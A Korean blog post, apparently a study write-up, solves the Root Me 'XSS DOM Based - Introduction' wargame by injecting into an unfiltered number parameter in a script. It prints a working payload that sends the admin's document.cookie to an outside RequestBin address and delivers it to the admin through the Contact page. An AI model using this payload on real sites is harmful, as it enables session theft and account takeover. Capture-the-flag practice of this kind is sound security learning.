워게임/Root Me

[Root Me] XSS DOM Based - Introduction - 웹해킹 / 크로스사이트스크립트

SecurityMan 2022. 12. 23. 11:00

 

Root Me에서 제공하는 크로스 사이트 스크립트 문제

 

이전에 포스팅 했던 문제들과 비슷한 맥락이다.

(https://hackingstudypad.tistory.com/48)

(https://hackingstudypad.tistory.com/297)

(https://hackingstudypad.tistory.com/334)

 

지난 문제들 풀이를 보면 조금 이해하기 쉽다.

 

반응형

 

문제설명을 읽어보면

 

이번 문제의 목표 역시 admin 의 session cookie 값을 훔치는 것이다.

 

 

문제페이지에 접속하면 보이는 화면이다.

 

Main 과 Contact 버튼이 있고,

 

아래는 숫자를 입력할 수 있는 칸이 있다.

 

Choose a number between 0 and 100 이라고 적혀있는데

 

 

77이라고 테스트삼아 입력해보고 결과를 보니

 

컴퓨터에서 생성한 숫자를 예측해서 맞히는 페이진가 보다.

 

근데 컴퓨터가 생성하는 숫자가 소숫점 15자리까지 있다;

 

이건 그냥 틀리라는 얘기다.

 

 

숫자를 전달하는 방식을 확인해보면

 

GET 방식으로 URL을 통해 ?number 파라미터에 사용자가 입력한 값을 담아 전달하고 있는것을 볼 수 있다.

 

 

Contact 페이지로 이동해보면

 

admin 에게 URL을 전달할 수 있는 기능이 있다.

 

정황상 number 파라미터를 통해서 XSS 페이로드를 완성시키고,

 

완성시킨 페이로드를 URL형태로 Contact 페이지를 통해 관리자에게 전달하여 읽게 만들어야 하는것 같다.

 

 

F12를 눌러 개발자도구로 웹 페이지 소스를 살펴봤다.

 

<script> 태그 안에 자바스크립트가 들어가 있는데,

 

사용자가 입력한 숫자를 var number = '<숫자>'; 형태로 사용하고 있는걸 볼 수 있다.

 

숫자를 입력하는 칸에 별다른 입력 필터를 걸고 있지 않기 때문에

 

이 부분을 조작할 수 있을 것 같다.

 

 

77';alert(1);' 라고 입력해서 알람창을 한번 띄워보았다.

 

alert(1) 이라는 스크립트가 동작해서 알람창이 정상적으로 뜬걸 보니

 

크로스 사이트 스크립트 취약점이 확실히 존재한다.

 

 

저렇게 입력하면 알람창이 뜨는 이유는

 

위처럼 자바스크립트 내용이 조작되기 때문이다.

 

 

RequestBin(https://pipedream.com/)으로 가서 요청을 받아줄 주소를 하나 생성한다.

 

 

77';document.location.href='<requestbin주소>?cookie='%2bdocument.cookie;'

 

이제 위처럼 admin 이 URL 을 클릭할 경우

 

자동으로 redirect 되어 RequestBin으로 이동하며 쿠키값을 전달하도록

 

XSS 페이로드를 작성한다.

 

 

그다음 Contact 페이지로 가서

 

완성된 XSS 페이로드를 입력하고 잠시 기다리면

 

 

admin의 세션 쿠키값이 탈취된 것을 확인할 수 있다.

 

탈취한 쿠키값이 바로 플래그이다.

반응형